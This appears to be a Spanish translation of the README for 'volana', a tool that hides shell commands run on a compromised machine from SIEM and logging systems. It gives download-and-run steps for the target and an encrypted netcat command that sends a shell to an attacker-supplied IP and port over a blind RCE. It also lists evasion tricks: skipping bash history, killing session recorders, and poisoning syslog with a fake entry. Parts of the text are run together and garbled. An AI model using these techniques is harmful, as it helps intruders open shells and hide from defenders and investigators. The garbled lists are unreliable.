
🌒 Ofuscación de comandos de shell para evitar sistemas de detección
{ Úsalo ; 🌚(ocultar de); 🌞(detectado por) } Durante un pentest, un aspecto importante es ser sigiloso. Por esta razón debes borrar tus huellas después de tu paso. Sin embargo, muchas infraestructuras registran comandos y los envían a un SIEM en tiempo real, lo que hace que la limpieza posterior por sí sola sea inútil.volana proporciona una forma sencilla de ocultar comandos ejecutados en una máquina comprometida, proporcionando su propio runtime de shell (ingresa tu comando, volana lo ejecuta por ti). De esta manera borras tus huellas DURANTE tu paso
Necesitas obtener un shell interactivo. (Encuentra una forma de generarlo, eres un hacker, ¡es tu trabajo! de lo contrario). Luego descárgalo en la máquina objetivo y ejecútalo. Eso es todo, ahora puedes escribir el comando que desees ejecutar de forma sigilosa.
## Descárgalo desde el release de GitHub
## Si no tienes acceso a internet desde la máquina comprometida, busca otra forma
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Ejecútalo
./volana
## Ahora estás bajo el radar
volana » echo "¡Hola equipo SIEM! ¿Me encuentran?" > /dev/null 2>&1 #te puedes permitir un poco de chulería
volana » [comando]
Palabras clave para la consola de volana:
ring: activa el modo anillo, es decir, cada comando se lanza junto con muchos otros para cubrir rastros (de soluciones que monitorean llamadas al sistema)exit: salir de la consola volanaImagina que tienes un shell no interactivo (webshell o rce ciega); podrías usar los subcomandos encrypt y decrypt. Previamente, necesitas construir volana con una clave de cifrado incrustada.
En la máquina del atacante
## Construir volana con clave de cifrado
make build.volana-with-encryption
## Transferirlo al OBJETIVO (el único comando detectable)
## [...]
## Cifrar el comando que deseas ejecutar sigilosamente
## (Aquí un bindshell de nc para obtener un shell interactivo)
volana encr "nc [ip_atacante] [puerto_atacante] -e /bin/bash"
>>> COMANDO CIFRADO
Copia el comando cifrado y ejecútalo con tu rce en la máquina objetivo
./volana decr [comando_cifrado]
## Ahora tienes un bindshell, conviértelo en interactivo y usa volana normalmente para ser sigiloso (./volana). + No olvides eliminar el binario de volana antes de irte (porque la clave de descifrado se puede obtener fácilmente de él)
¿Por qué no simplemente ocultar el comando con echo [comando] | base64 ?
Y decodificar en el objetivo con echo [comando_cifrado] | base64 -d | bash
Porque queremos estar protegidos contra sistemas que activan alertas por el uso de base64 o que buscan texto en base64 en los comandos. Además, queremos dificultar la investigación y base64 no es un freno real.
Ten en cuenta que volana no es un milagro que te hará totalmente invisible. Su objetivo es hacer más difícil la detección de intrusiones y la investigación.
Por "detectado" nos referimos a si somos capaces de activar una alerta si se ha ejecutado un comando determinado.
Solo la línea de comando de lanzamiento de volana será capturada. 🧠 Sin embargo, al agregar un espacio antes de ejecutarlo, el comportamiento predeterminado de bash es no guardarlo.
history.bash_history, ".zsh_history", etc.opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, etc.)
pkill -9 scriptscreen es un poco más difícil de evitar, sin embargo no registra la entrada (entrada secreta: stty -echo => evita)volana mediante cifrado/var/log/auth.log)
sudo o sulogger -p auth.info "Ningún hacker está envenenando tu solución syslog, no te preocupes")LD_PRELOAD para generar registros
Lo siento por el título clickbait, pero no se proporcionará dinero a los contribuyentes. 🐛
Házmelo saber si has encontrado:
volanavolana